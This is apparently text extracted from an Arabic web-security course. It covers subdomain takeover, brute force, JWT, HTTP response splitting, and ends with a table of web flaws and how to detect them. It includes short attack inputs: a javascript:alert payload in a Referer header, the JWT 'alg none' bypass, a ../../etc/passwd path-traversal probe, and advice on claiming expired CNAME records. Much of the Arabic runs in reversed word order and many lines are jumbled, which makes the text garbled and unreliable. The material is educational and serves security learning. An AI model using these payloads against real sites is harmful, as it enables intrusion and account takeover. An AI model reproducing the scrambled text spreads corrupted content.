 لعودةا في علیھ یعتمدون المبرمجین من والكثیر البرمجیات في جداً  مھم ھو الریفیرر•

 ، حصاءوالا التحلیل لغرض الزائر منھا أتى التي الصفحة معرفة او السابقة للصفحات
: كمثال

: كالاتي والصفحة الطلب سیكون	،Google طریق عن الصفحة لھذه دخلت لو•
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...)تكملھ( Headers	HTTPثغرات ال 
سوف یتم اظھار  	;javascript:alert(‘isecur1ty’)الى  REFERERلو غیرنا قیمة ال •

الرابط كجافا سكربت ویتم تطبیقھ بمجرد الضغط على الرابط
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Takeover	Subdomainثغرة ال 

DNSھو CNAMEال• Record أختصار وھو  Canonical Name)( أسم یعتبر وھو 
الnull.test.com  لدینا مثلا یكون عندما أدق بمعنى أي ,الحقیقي للأسم )Alias(  مستعار

CNAME Record ھو بھ الخاصiamtest123.herokuapp.com أن یعني اي 
null.test.com ھو  subdomain إلى یشیر  iamtest123.herokuapp.com فمثلا 

 سوف ملف رفعت مثلا او iamtest123.herokuapp.com  في شيء على تعدل عندما
null.test.com في ایضا مرفوع وییكون یتعدل

Subdomain في الخاصCNAME استخراج كیفیة•
nslookup أمر طریق عن تستطیع للویندوز•
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...)تكملھ( Takeover	Subdomainثغرة ال 

dig أمر طریق عن تستطیع للینكس•
Subdomain ثغرة ماھي• Takeover
CNAME لل misconfiguration نوع من ثغرة ھي• DNS Record
subdomain  انشأت ما شركة ھناك مثلا ,أفضل شرح سیناریو أعطیك دعني ؟ واضح غیر•

CNAMEوال DNS Record منھ المقدمة السحابیة الخدمات أحد الى یشیر  AWS او  Heroku
 عندما ھي المصیبة لكن  صلاحیتھ انتھت او CNAME  ھذا أتحذف الوقت مرور مع لكن ..الخ

Heroku  او AWS  في جدید حساب بتسجیل المھاجم فیقوم  !  تجدیده او تغییره المسؤول ینسى
external  نفس یكون ان یجب( service كان لو فمثلا  AWS في تسجل  AWS كان لو 

heroku في تسجل  heroku كان لو  Github في تسجل  Github( المھاجم یسجل وعندما 
 subdomainبال التحكم یستطیع وھنا جدید أسم كأنھ المحذوف او المنتھي الأسم لتسجیل یذھب
Subdomain تسمى وھذه الشركة انشأتھ الذي Takeover
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...)تكملھ( Takeover	Subdomainثغرة ال 
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...)تكملھ( Takeover	Subdomainثغرة ال 

Takeover	Subdomainكیف تتجنب •
.الغیر مستخدمھ او المنتھیھ الصلاحیة او المحذوفة  Records	DNS	CNAMEتخلص من •
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تم بحمد الله انتھاء الفصل العشرین
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Authenticationثغرة ال 

 ب یعرف والذى  Brute-Force  ال ھجوم الى Authentication  ال ثغرة مصطلح یشیر•
 علوماتم استحصال لمحاولة علیھا الاعتماد یتم التي )  التخمین (  بطریقة الھجوم عملیات

 تخمین طریقة عن PIN  الشخصي التعریفي الرقم أو السر وكلمة المستخدم كإسم معینة
 لكوكذ مخفیة الویب مواقع روابط أو صفحات إیجاد أو المتوقعة الاحتمالات من مجموعھ

Brute-Force  الـ بوساطة الھجوم عملیة في .والبیانات الرسائل شفرات لفك المفتاح إیجاد
 المتعاقبة التخمینیة السر كلمات من كبیر عدد بتولید الغرص لھذا مُعد تطبیق یسُتخدم		،

 المجرمین بوساطة Brute-Force  بـ الھجمات تستخدم .المستھدفة البیانات لقیمة بالنسبة
 مدى ختبارلإ الامنیین المحللین بوساطة وكذلك المشفرة البیانات حمایة لكسر السبرانیین

 نھالك الطرق أقدم من الطریقة ھذه وتعتبر .المعنیة والمنظمات المؤسسات شبكات أمان
.المخترقین من الكثیر ویستخدمھا وفعالة شائعة مازالت
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...)تكملھ( Authenticationثغرة ال 

Brute  الـ أمثلة أحد• Force القاموس ھجوم ھو		–  Dictionary Attack یقوم والذي 
 الھجوم نم آخر نوع .السر كلمة لمعرفة القاموس في تتواجد التي الاحتمالات جمیع بتجربة
 ھجوم .والارقام الأحرف من تولیفة أو الشائعة السر كلمات إستخدام ھو التخمین بطریقة

   “  ةالتسمی فإن لذلك .الموارد وكذلك والجھد الوقت من الكثیر یستھلك أن الشكل بھذا
Brute-Force Attack ق على بالاعتماد بالھجوم النجاح على النوع ھذا قدرة من تأتي ”

 النوع اھذ یأخذ .بارعة ریاضیة خوازمیات من بدلاً  المستخدمة التولیفات وعدد الحوسبة وة
ً  الھجوم من  لمةك تعقید ودرجة طول على أعتماداً  كثیرة سنوات الى معدودة ثواني من وقتا

.بإنشائھا المستخدم یقوم التي السر
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...)تكملھ( Authenticationثغرة ال 

Brute-Force الـ استخدام یتم لماذا• Attack؟
Cyber  الـ سلسلة من المبكرة المراحل في عادة الھجمات ھذه تحدث• Kill Chain لاسیما 

 حالما .ملأھدافھ الولوج نقاط تحدید الى القراصنة یحتاج .والتسلل الاستطلاع مراحل في
Brute-Force  طریقة یستخدمون فإنھم للشبكة الولوج صلاحیة على المخترقین یحصل

Attack  )تشفیرال كسر ھجمات لتشغیل أو المواقع تلك في إمتیازاتھم لترقیة )التخمین. 
Brute  الـ طریقة المخترقون یستعمل Force اأشرن كما المخبأة الویب صفحات عن للبحث 

 یمكن .أخرى تبصفحا مرتبطة لیست لكنھا بالانترنت المخبأة الویب صفحات تتصل .أعلاه
Brute  الـ لھجوم Force Attack كان إذا فیما لمعرفة المختلفة الویب عناوین اختبار 
.إستغلالھا كنیم التي الصفحة تلك عن بالتالي وسیبحث صالحة ویب بصفحة سیعود إحداھا
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العشرینالواحد و تم بحمد الله انتھاء الفصل 
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الفصل الثاني و العشرین
JWTثغرة ال 
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JWTثغرة ال 
 السرفر تربط session  جلسة استعمال على تعودنا العادیة المواقع في الدخول تسجیل عند•

 السرفر مع account بحسابھ متصل المستخدم بابقاء تسمح الطریقة وھده بالمتصفح
 مكتب سطح تطبیق او اندروید تطبیق بانشاء نفكر عندما ممكنة غیر الطریقة ھذه ولكن•

 اتجلس على لاتعتمد اساسا التطبیقات ھده لان  مثلا شارب السي او بالجافا مبرمج
sessions المتصفح یفھمھا الذي

 عملیة في المربوطة الجلسات غیر اخر شيء الى سنحتاج التطبیقات من النوع ھذا ففي•
 سنحتاج )..مشرف .  یوزر.  ادمن(  المستخدم صلاحیات استخدام أو  الدخول تسجیل

 السرفر یقوم الرمز ھدا السري بالرمز مایسمى او token  الـ اسمھ  جدید مفھوم لاستخدام
 اندروید طبیقت سواء التطبیق الى ارسالھ ثم المستخدم دخول تسجیل عملیة كل عند بتولیده

 ..شيء اي او مكتب سطح تطبیق او

Ahmed	Hashem	El	Fiky



...)تكملھ( JWTثغرة ال 

 كل عند  رالسرف الى ارسالھ لاعادة وسیحتاج  الداخلیة بداكرتھ بحفظھ یقوم التطبیق وھذا•
 اناتبی تعدیل او المستخدم بیانات على الاطلاع مثل(  لصلاحیات تحتاج سریة عملیة

 تشفیره فك من السرفر یقوم والذي token  ال ھدا تتطلب  العملیات فھذه )...المستخدم
 المرسل الكود ھذا ان السرفر وجد فادا  ؟ صالحة مدتھ مازالت ھل صحیح؟ ھو ھل وینظر

 الكود ان وجد  اذا اما ..السریة البیانات الى بالوصول للتطبیق سیسمح  صحیح التطبیق من
 للصفحة ولبالدخ لھ لایسمح انھ التطبیق الى بالرد مباشرة سیقوم الیھ یرسل لم انھ او خطأ

.... الفلانیة
 المتصفح بین تستخدم sessionفال tokenوبین session   بین الفرق نفھم ان یجب•

 بیبانات على یحتوي مشفر كود فھو token  اما )(server  الخادم وبین )المستخدم(
 بعضھما لىع للتعرف السرفر وبین )نوعھ كان ایا التطبیق(  المستخدم یتبادلھ المستخدم

.. البعض
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 وعن حسب استخدامھا مواضع تختلف ولكن نفسھا ھي السریة والرموز الجلسات فمھمة•
 التطبیق

 ان یمكنك او عالمیة مقاییس ذات شھیرة اداة وھي jwt  اداة الفصل ھذا فى نشرح سوف•
 ةزمنی صلاحیة مدة واعطاء بالسرفر تشفیره وفك token  ال بتشفیر لك تسمح مكتبة تقول

نشاء كما سنحددھا محددة
JSON  یعتبر  التقنیة الناحیة من• Web Token أوJWT رمز یحمل مفتوح معیار  RFC

 الأطراف بین بأمان المعلومات لنقل ذاتیاً مكتفیة و مدمجة طریقة یحدد 7519
client/server)( نوع من ككائن JSON
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...)تكملھ( JWTثغرة ال 
:المفاھیم بعض نشرح دعنا•
�مدمج•

 HTTP  رؤوس أو POST  معلمات أو URL  عنوان عبر JWT  إرسال یمكن ، حجمھا لصغر نظرًا•
.الإرسال سرعة زادت ، الحجم صغر كلما ، ذلك إلى بالإضافة

:ذاتیا مكتفیة•
الاستعلام وتجنب ، المستخدم حول الضروریة المعلومات جمیع على )(Playload  الحمولة تحتوي•

.البیانات لقاعدة المتعددة ات
بھا المعمول JWT سیناریوھات•
�المصادقة•

 لاحق طلب كل سیتضمن ، المستخدم دخول تسجیل بمجرد JWT  لـ شیوعًا الأكثر الاستخدام ھو ھذا•
JWT،		الرمز بھا یسمح التي والموارد والخدمات المسارات إلى بالوصول للمستخدم یسمح مما 
د الدخول .الممیز  انخفاض بسبب الیوم واسع نطاق على المستخدمة JWTمیزات إحدى ھو الموحَّ
.المختلفة المجالات عبر الاستخدام وسھولة العامة النفقات
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...)تكملھ( JWTثغرة ال 
�المعلومات تبادل•

JSONتعد• Web Tokens لأن .الأطراف بین آمن بشكل المعلومات لنقل جیدة طریقة  JWT یمكنھ 
 أن دیدتح یمكن ، الخاصة /  العامة المفاتیح أزواج باستخدام ، المثال سبیل على :Signatureالتوقیع
 Headerالرأس لاستخدام نظرًا ، ذلك إلى بالإضافة .ھو أنھ یدعي الذي الشخص ھو المرسل

.بھ ثالعب یتم لم المحتوى أن من التحقق أیضًا یمكنك ، التوقیع لحسابPayload الصافیة والحمولة
JWT ھیكل•

:وھي ، ).( بنقاط مفصولة أجزاء ثلاثة على JWT یحتوي ، مضغوط شكل في•
•Header
•Payload
•Signature

:التالي النحو على JWT ھیكل یكون ما عادة•
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...)تكملھ( JWTثغرة ال 

	+	Payload	+	Header(وھي  	DOTمن ثلاث اجزاء یفرق بینھا علامة  	JWTیتكون •
Signature(
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...)تكملھ( JWTثغرة ال 

:منفصل بشكل الثلاثة الأجزاء ھذه نقدم یلي فیما•
•Header

 فى المستخدمة الخوارزمیة نوع  و JWT  أي ، الممیز الرمز نوع :جزأین من عادةً  العنوان یتكون•
HMAC ده المثال ھى و Signature ال التوقیع عملیة HS256

:المثال سبیل على•

 من الأول الجزء لتكوین Base64Url  بواسطة الرأس بجزء الخاص JSON  ترمیز یتم•
JWT
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...)تكملھ( JWTثغرة ال 

•payload  الیھا تاجنح التي الفعلیة البیانات یركب الذي وھو الكود من الثاني المقطع ھو :
 معلومات یكون أن یمكن .  ارسالھا نرید التي المشفرة البیانات ھي أوضح بمعنى أي

 رباختصا(  الخ...  الإلكتروني والبرید والاسم username  المستخدم معرف مثل المستخدم
)نستقبلھا او نرسلھا التي البیانات كود ھو payload الـ

على یحتوي•
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ھي لتعریف المصدر للسیرفر المصدر ISS

ھي لتعریف اسم الموضوع او 
الھدف من المصادقة للسیرفر

الموضوع Sub

الجمھور التعرف على المستلم aud

وھو یحدد متى تنتھي صلاحیة 
JWT

tokenوقت انتھاء صلاحیة  exp

JWTتحدد متى یبدأ صلاحیة  token بدایة صلاحیة nbf

Timestampفقط ضع  Timestamp iat



...)تكملھ( JWTثغرة ال 
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Payloadمثال على •

 Playload  بجزء الخاص JSON  ترمیز یتم•
 من الثاني الجزء لتكوین Base64Url  بواسطة
JWT

 شخص لأي یمكن ، العبث من محمیة المعلومات ھذه أن من الرغم على :ملحوظة 
 أو Payloadالحمولة عناصر في سریة معلومات تضع لا ، تشفیرھا یتم لم ما .قراءتھا

JWT بال الخاص Headerرأس



...)تكملھ( JWTثغرة ال 

•signature بین الجمع خلال من إنشاؤه یتم .  التوقیع أو  Header و المشفر  Payload
HMAC  مثل ، قویة تشفیر خوارزمیة باستخدام وتوقیعھ المشفر SHA-256. الخادم یحتفظ 

server)( الممیزة زالرمو من التحقق من یتمكن بحیث بالتوقیع الخاص السري بالمفتاح 
.جدیدة رموز وتوقیع الحالیة

Ahmed	Hashem	El	Fiky



...)تكملھ( JWTثغرة ال 

JWT ممارسة•

 تمریرھا یمكن والتي ، بنقاط مفصولة Base64-URL  سلاسل ثلاث ھو JWT  ناتج•
XML  على القائمة المعاییر من حجمًا أصغر وھي		،HTTP  و HTML  بیئات في بسھولة

SAML مثل

 المفتاح ویستخدم ، السابق والحمل البیانات ترمیز على یحتوي الذي ، التالي JWT  مثال•
.للتوقیع السري
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...)تكملھ( JWTثغرة ال 
:والتحقق منھا وإنشائھا 	JWTلفك شفرة  	jwt.ioیمكننا استخدام المصحح•
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JWT عمل مبدأ•

 ، بھ خاصةال الاعتماد بیانات باستخدام بنجاح الدخول المستخدم یسجل عندما ، المصادقة في•
JSON  إرجاع سیتم Web Token نولك ، المحلي التخزین في عادةً (  محلیاً تخزینھ ویجب 
 التقلیدیة ةبالطریق جلسة خادم إنشاء من بدلاً  )الارتباط تعریف ملفات استخدام أیضًا یمكن
.الارتباط تعریف ملف إعادة

 المستخدم وكیل على یجب ، محمي مورد أو مسار إلى الوصول المستخدم یرید عندما•
	،JWT  لإرسال الاستضافة نظام استخدام المتصفح الطلب رأس في یكون عادة	

Authorization Bearer
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...)تكملھ( JWTثغرة ال 
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 :أسئلة•
آمن؟JWT ھل ①

 درالصا الرمز محتوى تحلیل یمكن أنھ أي ، للعكس قابلة Base64  الترمیز طریقة لان لا•
 ، Payloadالحمولة في حساسة معلومات بوضع نوصي لا ، عام بشكل .الترمیز خلال من
.المستخدم مرور كلمة مثل
JWT محتویات تزویر یمكن ھل ② Payload؟

 الحمولة محتوى تعدیل یمنع أن یمكن والذي		،Signature  ھو JWT  مكونات أحد لان لا•
Payload. من یتكون التوقیع لأن Base64 رأس مع Header وحمولةPayload.



...)تكملھ( JWTثغرة ال 
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و  noneب  	Signatureاحد الاستغلات التى تتم على ھذه الثغرة ھو وضع اجورزم التوقیع
كما فى المثال  	Payloadتغییر فى ال
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 Header فىSignatureللتوقیع اجورزم وضع ھو ایضاالثغرة ھذه على تتم التى الاستغلات احد
Signature حذف لكن وPayloadال فى تغییر و Section المثال فى كما 



تم بحمد الله انتھاء الفصل الثاني و العشرین
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الفصل الثالث و العشرین  
Splitting	HTTPثغرة ال 

Ahmed	Hashem	El	Fiky

المؤلف
أحمد ھاشم الفقي /م.د

المعلومات و التحول الرقمياستشارى أمن 
comoutlook.ElFiky@Hashem.Ahmed.



Splitting	HTTPثغرة ال 

HTTP”ـال في لتستخدمھا المستخدم مدخلات من جزء الى تلجأ الإلكترونیة المواقع بعض•
Response Headers” تتیح التي المواقع ھي الثغرة ھذه على وضوحا الأمثلة أكثر 

. الإدخال ئلوسا أحد بإستخدام الیھا ”تحویلھ“ یتم أن یرید التي الصفحة إختیار للمستخدم

 لتكون إفتراضي موقع إختراق إختبار لعملیة كامل  "”Scenario  بشرح أقوم سوف•
fakewebsite.fake الموقع على نطلق وسوف , للجمیع واضحة الصورة

 بعدھا من الموقع ویقوم الإدخال للمستخدم یسمح Form  عن الموقع داخل نبحث البدایة في•
 .المستخدم طلبھا التي الصفحة الى التحویل
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...)تكملھ( Splitting	HTTPثغرة ال 

فسوف  /sales-100لنقم على سبیل المثال بإرسال طلب للسیرفر بأننا نرید الذھاب لصفحة •
:یكون الرد كالآتي 

	HTTP”تم التعامل معھ في أحد الـ /sales-100نلاحظ أن مدخلنا الذي قمنا بإدخالھ •
Response	Headers

ما ھو الخطر الذي یكمن وراء ھذه الثغرة ؟, قد یتسائل أحد الأشخاص •
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 بھذا عنيأ ماذا ,  السیرفر من ردیّن من أكثر یكوّن أن الثغرة ھذه بوساطة المخترق یستطیع•
 یقوم واحد برد الرد تم  /sales-100الصفحة بطلب قمنا ,  للأعلى بالرجوع ؟ الكلام

 ردیّن كیلوتش طلب بإرسال المخترق یقوم الثغرة ھذه بإستخدام .  معینة لصفحة بالتحویل
! مختلفتین لصفحتین مختلفین

. بالأمثلة ھي للفھم طریقة أفضل ولكن , للبعض مفھوم وغیر معقد الكلام أن أعلم•
: كالآتي , الیھا المراد الصفحة بتعدیل مثلا قمنا لو•
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...)تكملھ( Splitting	HTTPثغرة ال 

ما الذي قمنا بفعلھ ؟•
قمنا بإرسال طلب للسیرفر بأنھ نرید إستعراض الصفحة•

ماذا . عند طلب صفحة معینة داخل الموقع 	Responseولكن ھذا المدخل یحتوي على •
یحصل؟ 

لكي یتم التعامل معھ على أنھ  	Encode	URLتم تشفیر الصفحة المراد تحویلھا من خلال •
.مدخل واحد
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:عند فك تشفیره نجده كالآتي •

:لنعد تشكیل الرد الأصلي كامل بدون تشفیر لنرى ماذا حصل •



...)تكملھ( Splitting	HTTPثغرة ال 

 مرتبط غیر رد ھو والأخر /sales-100  صفحة الى للتحویل الأول ,  !  ردیّن ھناك أنھ نجد•
 الصفحة الى بالتحویل الإختراق مختبر قام لو HTML  أكواد على یحوي و معین بطلب

 الثاني الردب ”الرئیسیة الصفحة الى تحویل“  الطلب مقابلة سیتم سریع بشكل الرئیسیة
. یظھر سوف الذي الصفحة محتوى“
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تم بحمد الله انتھاء الفصل الثالث و العشرین
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) روالأخی(و العشرین الرابع الفصل 
بتلخیص لثغرات تطبیقات الوی
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المؤلف
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المعلومات و التحول الرقمياستشارى أمن 
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تلخیص لثغرات تطبیقات الویب
كیفیة اكتشافھا مكان وجودھا اسم الثغرة

 inputsجمیع ال كثیرة فى Payloadsتجربة 
لمعرفة من ھو مصاب او لا 

موجودة داخل صفحة ال 	inputsى اىف
HTML سواء كانت تتعامل مع الDB	او لا

XSS

المصاب  parameterاو  inputلل  ‘اضافة 
او اضافة  Based	Error	SQLIلاكتشاف 

	Blind	SQLIلاكتشاف  True/Falseجملة 
Based

تتعامل مع  Parametersاو  Inputsفى اى 
فقط و ھذا على حسب فھمك لل  DBال 

inputs,	parameters	  على انھا تتعامل مع
او لا 	DBال 

SQLI

 بقیم جدیدة و محاولة اقناع الھدف Form انشئ
) بالھندسة الاجتماعیة(بالضغط علیھا 

فى ال  Token	CSRFوجود  فى حالة عدم
HTTP	Headers

CSRF

كثیرة Payloadsتجربة  لا تتعامل  Parametersاو  Inputsاى  فى
Linuxو یكون نظام التشغیل  DBمع ال 

RCE

كثیرة Payloadsتجربة  لا تتعامل  	Parametersاو  	Inputsفى اى
Linuxو یكون نظام التشغیل  	DBمع ال 

SSRF

كثیرة Payloadsتجربة  تتعامل مع  Parametersاو  Inputsاى  فى
فقط  XMLملفات من نوع 

XPath Injection

Ahmed	Hashem	El	Fiky



...)تكملھ(تلخیص لثغرات تطبیقات الویب 
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كیفیة اكتشافھا مكان وجودھا اسم الثغرة
كثیرة Payloadsتجربة  تتعامل مع  Parametersاو  Inputsاى  فى

فقط  XMLملفات من نوع 
XXE

المصاب بصفحة جدیدة  	parameterھذا اختبار
ھل سیحولنى لھا ام لا

تقوم بتحویل الصفحة  Parametersفى اى 
الحالیة لصفحة اخرى او  لموقع اخر 

Open/URL	Redirect

ة المصاب بصفحة داخلی 	parameterھذا اختبار
اخرى او بصفحة من موقع اخر خارجى ھل 

سیحولنى لھا ام لا

تقوم بتحویل الصفحة  Parametersفى اى 
ى الحالیة لصفحة اخرى داخلیة  او لصفحة اخر

من موقع خارجى 

LFI/RFI

..etc/passwd/../.../../ تجربة تتعامل مع ملفات الموقع  Parametersاى  فى
 Linuxالداخلیة و یكون نظام التشغیل 

Path Traversal

كثیرة Payloadsتجربة  یتم عمل  parametersاو  inputsفى اى 
Deserialization  لھا و ھى فى المواقع

Javaالمكتوبة بال 

Insecure Deserialization

 access-control-allow-originاختبار 
-access-control-allowو اختبار 

credentials

Headers	Response	HTTPفى   CORS



...)تكملھ(تلخیص لثغرات تطبیقات الویب 
كیفیة اكتشافھا مكان وجودھا اسم الثغرة

	X-frame-optionsاختبار Headers	Response	HTTP فى Click	Jacking

 ھل ھى ثابتة لا تتغیر او Sessionال  اختبار
غیر مشفرة أو یمكن تخمینھا

Headers	Request	HTTPفى  Session	Hijacking

  و  inputsعدة مرات فى ھذه  التجربة
parameters	  حتى تعرف وجود الثغرة من

عدمھا

یحب ان  parametersاو  inputsفى اى 
	resetو  loginمثل  limitیكون لھ 
password و كمان على حسب فھمك للموقع  

	DoSاو  	Force	Bruteایة اللى ھیسبب 
attacks او لا

Rate Limit	(DoS	attack)

الحساسة زى  parametersفى قیم  التغییر
parameter  خاص بالuser-id  و محاولة

اخر و غیر ذلك من  	user-idتغییره ب
السیناریوھات 

و  ةثغرة منطقیللموقع فھى على حسب فھمك 
لسیت تقنیة مثل باقى الثغرات

IDOR

موجود و منتھى  	CNAME التأكد ان
من جدیدالصلاحیة و انك تقدر تشتریة

الخاص بالموقع  CNAMEفى  Subdomain Takeover

Request	HTTPفى ال  	Bearer	Authorizationاختبار  Headers JWT
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...)تكملھ(تلخیص لثغرات تطبیقات الویب 
كیفیة اكتشافھا مكان وجودھا اسم الثغرة

ھل  Headers	Response	HTTPال  اختبار
الصفحة  URLبیحتوى على  	headerفیھم 

المطلوبة بالتحدید

Headers	Response	HTTP فى HTTP	Splitting

و اختبار الرسائل  UserNameتخمین ال 
التى تظھر

Loginصفحات الدخول  فى Authentication
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تم بحمد الله انتھاء الفصل الأخیر 
دمتم في أمان الله
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